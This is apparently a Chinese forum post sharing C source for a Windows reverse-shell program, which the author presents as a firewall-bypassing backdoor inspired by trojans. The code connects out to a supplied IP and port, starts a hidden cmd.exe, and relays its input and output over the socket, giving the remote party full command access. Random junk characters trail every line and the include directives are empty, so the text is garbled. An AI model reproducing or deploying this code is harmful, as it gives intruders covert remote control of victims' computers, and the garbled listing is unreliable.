这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c|'$3dB*
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/* ============================== K}n.k[Do
Rebound port in Windows NT *Vb#@O!
By wind,2006/7 Ma{@b$>
===============================*/ 3z#>1HD$
#include ;X+.Ag
#include mJ[_q>
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#pragma comment(lib,"wsock32.lib") $6ucz'
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void OutputShell(); h1B_*L
SOCKET sClient; 8Bc2?NI=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xHx_!
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void main(int argc,char **argv) W7.RA>
{
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WSADATA stWsaData; a3:45[SO4e
int nRet; D;48VK/Q
SOCKADDR_IN stSaiClient,stSaiServer; gQ{<2u
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if(argc != 3) #;1RStb:zj
{ .;U?%t_7
printf("Useage:\n\rRebound DestIP DestPort\n"); Jp8,s%
return; ]f`UflMO8
} { /8s`m
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9)[)07
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {65YTt%
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stSaiClient.sin_family = AF_INET; TgLr4Ex
stSaiClient.sin_port = htons(0); wpNb/U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MCXt,`}[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tmeg=U7
{ 7bVKH[
printf("Bind Socket Failed!\n"); u#V;
return; gH"aMEC
} @.dM1DN)
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stSaiServer.sin_family = AF_INET; ojJua c4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +,T}x+D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3UQBIrQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sUkn.g!
{ "79b>
printf("Connect Error!"); jrm^n_6};
return; sP9{tk2K
} ne[H `7c
OutputShell(); hsK(09:J
} 8H3O6ro
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void OutputShell() 11!4#z6w
{ a6d|Ps.\!
char szBuff[1024]; f?@M"p@T
SECURITY_ATTRIBUTES stSecurityAttributes; K|;L{[[yH
OSVERSIONINFO stOsversionInfo; <BdC#t:*L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i1HO>X:ea
STARTUPINFO stStartupInfo; mndEB!b
char *szShell; )Dcee@/7S
PROCESS_INFORMATION stProcessInformation; V Kc`mE
unsigned long lBytesRead; o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %2?"x*A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nXh<+7
stSecurityAttributes.lpSecurityDescriptor = 0; f\:I1y
stSecurityAttributes.bInheritHandle = TRUE; Z#GR)jb+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); On+0@hh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ])zpx-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nF
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iZ(p]0aP7
stStartupInfo.wShowWindow = SW_HIDE; e.|t12)L "
stStartupInfo.hStdInput = hReadPipe; E_xk8X~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,(+ZD@Rg
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GetVersionEx(&stOsversionInfo); S2=x,c$
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switch(stOsversionInfo.dwPlatformId) Hxj8cXUF|
{ /\pUA!G)BD
case 1: )VG_Y9;Xk:
szShell = "command.com"; H
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break; w#sP5qKv8
default: S~ y.>X3"P
szShell = "cmd.exe"; z+?48}
break; i_$?sg#=yk
} _`9WNJiL
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =mxj2>,&
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send(sClient,szMsg,77,0); _<)HFg6
while(1) ZB,UQ~!Yr
{ uF T5Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d5=yAn-+=
if(lBytesRead) (=s%>lW|
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?zK>[L
send(sClient,szBuff,lBytesRead,0); g^k=z:n3,
} 7$:Jea
else MV?sr[V-oP
{ +AOpB L'
lBytesRead=recv(sClient,szBuff,1024,0); #@L<<Q8}
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e/IVZmUn^
} 2-wgbC5
} d 4;
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return; leJ3-w{ 2
}